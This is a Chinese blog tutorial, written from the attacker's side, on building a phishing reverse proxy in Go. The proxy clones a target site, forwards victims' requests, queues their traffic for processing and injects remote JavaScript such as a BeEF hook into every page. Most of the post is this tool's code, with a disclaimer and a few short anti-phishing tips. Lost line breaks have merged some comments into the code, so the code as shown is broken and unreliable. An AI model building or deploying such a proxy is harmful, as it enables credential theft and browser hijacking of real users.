在Go中使用反向代理进行网络钓鱼测试

Posted 2021-04-25 疯猫网络

免责声明：本文仅用于教育目的。切勿使用文中提及的技术从事任何非法活动！

对于一个攻击者来说，要想实施一次网络钓鱼攻击，往往需要做大量的准备工作。例如搭建钓鱼站点，引诱受害者上钩，捕获受害者的登录凭证等。为了避免这些繁杂的过程，本文我将教大家使用Go自动化这些过程。

完整的代码和使用说明可以在Github查看：https://github.com/JonCooperWorks/judas

代理被用来钓鱼TechOnRoad用户。你能看出它们之间的差别吗？

使用代理进行网络钓鱼

我们的代理需要接收来自受害者的请求，并在发送到目标网站之前重写它们。Go有着许多在原生层面对并发编程进行支持的优秀特性，比如Goroutines、Channels等。我们建立了一个简单的TCP侦听器，spawn了一个新的goroutine来处理每个传入的连接和一个goroutine worker来处理请求和响应。结果通过channel从请求处理goroutine传递给worker。

// HTTPTransaction represents a complete request - response flow.type HTTPTransaction struct {
  Request  *http.Request
  Response *http.Response
}// PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing.type PhishingProxy struct {
  client               *http.Client
  targetURL            *url.URL
  responseTransformers []ResponseTransformer
}func main() {        // ... flag parsing and whatnot
        phishingProxy := &PhishingProxy{
    client:               client,
    targetURL:            u,
    responseTransformers: responseTransformers,
  }

  transactions := make(chan *HTTPTransaction)  go processTransactions(transactions)  for {
    conn, err := server.Accept()    if err != nil {      log.Println("Error when accepting request,", err.Error())
    }
    go phishingProxy.HandleConnection(conn, transactions)
  }
}

由于Go的优秀标准库，请求处理非常简洁。http包提供ReadRequest方法，用于解析从连接中读取数据的请求。

defer conn.Close()
reader := bufio.NewReader(conn)
request, err := http.ReadRequest(reader)if err != nil {  log.Println("Error parsing request:", err.Error())  return}

将所有内容解析成Golang http.Request后，我们将它传递给目标。代理需要重写来自受害者的HTTP头，以防止目标站点连接中断，特别是主机头和URL。

request.URL.Scheme = p.targetURL.Scheme
request.URL.Host = p.targetURL.Host
request.Host = p.targetURL.Host
request.RequestURI = ""resp, err := p.client.Do(request)if err != nil {  log.Println("Proxy error:", err.Error())  return}

在代理上使用HTTP客户端，我们发起请求并确保请求成功。

一旦我们得到响应，我们使用传递给代理的ResponseTransformers（后面会详细介绍）转换它，使用标准库httputil.DumpResponse函数将响应转换为字节，并将请求和响应发送给goroutine worker之后处理。 

for _, transformer := range p.responseTransformers {
  transformer.Transform(resp)
}

modifiedResponse, err := httputil.DumpResponse(resp, true)if err != nil {  log.Println("Error converting requests to bytes:", err.Error())  return}

_, err = conn.Write(modifiedResponse)if err != nil {  log.Println("Error responding to victim:", err.Error())  return}
transactions <- &HTTPTransaction{
  Request:  request,
  Response: resp,
}

我们通过一个channel将HTTP事务传递给worker，以加快我们的操作进程避免受害者发生某些错误。

只需指向该代理，就能完美克隆目标网站。

// ResponseTransformer modifies a response in any way we see fit, such as inserting extra javascript.type ResponseTransformer interface {
  Transform(response *http.Response) error
}

JavaScriptInjectionTransformer使用GoQuery将html响应解析到DOM树中，并使用我们传递给transformer的URL注入脚本标签。我们可以使用它来注入BeEF hook或绕过网站的安全防护。

// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response.type JavaScriptInjectionTransformer struct {
  javascriptURL string
}// Transform Injects JavaScript into an HTML response.func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error {  if !strings.Contains(response.Header.Get("Content-Type"), "text/html") {    return nil
  }  // Prevent NewDocumentFromReader from closing the response body.
  responseText, err := ioutil.ReadAll(response.Body)
  responseBuffer := bytes.NewBuffer(responseText)
  response.Body = ioutil.NopCloser(responseBuffer)  if err != nil {    return err
  }

  document, err := goquery.NewDocumentFromReader(responseBuffer)  if err != nil {    return err
  }

  payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL)
  selection := document.
    Find("head").
    AppendHtml(payload).
    Parent()

  html, err := selection.Html()  if err != nil {    return err
  }
  response.Body = ioutil.NopCloser(bytes.NewBufferString(html))  return nil}

如何防御?

这类的钓鱼攻击并不是没有破绽，其实只要我们稍微细心观察，就能避免掉落坏人的陷阱。为此，我向大家提出以下几点建议：

• 为你登录的网站添加书签，并仅使用该书签访问该网站

• 即使看到绿色安全提示，也要在登录前仔细检查网站的URL是否正常

• 仔细检查通过电子邮件发送给你的任何链接并谨慎点击

完整代码可在GitHub上查看。